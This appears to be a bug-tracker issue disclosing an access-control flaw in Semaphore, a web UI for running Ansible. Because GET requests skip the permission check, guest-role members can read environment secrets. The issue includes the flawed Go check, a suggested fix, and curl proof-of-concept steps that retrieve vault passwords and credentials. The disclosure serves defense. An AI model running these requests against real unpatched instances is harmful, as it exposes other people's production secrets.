#4150·semaphore

Guest/task-runner project members can read Ansible environment secrets via GET bypass in GetMustCanMiddleware

Author: geo-chenCreated Aug 16, 2026Updated Sep 24, 2026

Issue

reported via email on 16 June 2026:

There's a broken access control vulnerability in Semaphore that allows project members with the guest (0 permissions) or task_runner (run-tasks only) role to read all project environment configurations, including Ansible extra-variables, Ansible Vault decryption passwords, and OS-level environment variables — all in plaintext.

Affected versions: <= v2.13.2 (latest at time of research)

Root cause:

The middleware GetMustCanMiddleware in api/projects/project.go contains a blanket GET/HEAD bypass:

if !me.Admin && r.Method != "GET" && r.Method != "HEAD" && !can {
    w.WriteHeader(http.StatusForbidden)
    return
}

Because GET and HEAD are excluded from the permission check, all project resource endpoints that require CanManageProjectResources (environments, repositories, inventories, keys, templates, project backup) are readable by any project member regardless of their role.

Impact: A user added to a project as guest or task_runner — intended to have minimal or zero read access to project configuration — can call GET /project/{id}/environment and retrieve plaintext production secrets including cloud provider credentials, database passwords, and Ansible Vault decryption keys.

Reproduction steps (tested against semaphoreui/semaphore:latest, SQLite backend):

  1. Owner logs in and creates an environment with secrets:

    curl -c /tmp/owner.txt -X POST http://localhost:3000/api/auth/login
    -H 'Content-Type: application/json'
    -d '{"auth": "admin", "password": "changeme1234"}'

    curl -b /tmp/owner.txt -X POST http://localhost:3000/api/project/1/environment
    -H 'Content-Type: application/json'
    -d '{"name":"Production","project_id":1,"json":"{"AWS_SECRET_KEY":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY","DB_PASS":"prod_secret!123"}","env":null,"password":"VaultPassword123!"}'

  2. Guest user logs in and reads environments:

    curl -c /tmp/guest.txt -X POST http://localhost:3000/api/auth/login
    -H 'Content-Type: application/json'
    -d '{"auth": "testuser", "password": "password1234!"}'

    Confirm zero permissions

    curl -b /tmp/guest.txt http://localhost:3000/api/project/1/role

    {"role":"guest","permissions":0}

    Read secrets — returns 200 instead of 403

    curl -b /tmp/guest.txt http://localhost:3000/api/project/1/environment

    Response: [{"id":1,"name":"Production","project_id":1,"password":"VaultPassword123!", "json":"{"AWS_SECRET_KEY":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY","DB_PASS":"prod_secret!123"}", "env":null,"sync_enabled":false,"sync_interval":0,"sync_paths":[]}]

Suggested fix: Remove the r.Method != "GET" && r.Method != "HEAD" exception from GetMustCanMiddleware, or apply the same permission check unconditionally for all HTTP methods.

Impact

Docker

Installation method

Docker

Database

No response

Browser

No response

Semaphore Version

v2.13.2

Ansible Version

bash

Logs & errors

No response

Manual installation - system information

No response

Configuration

No response

Additional information

No response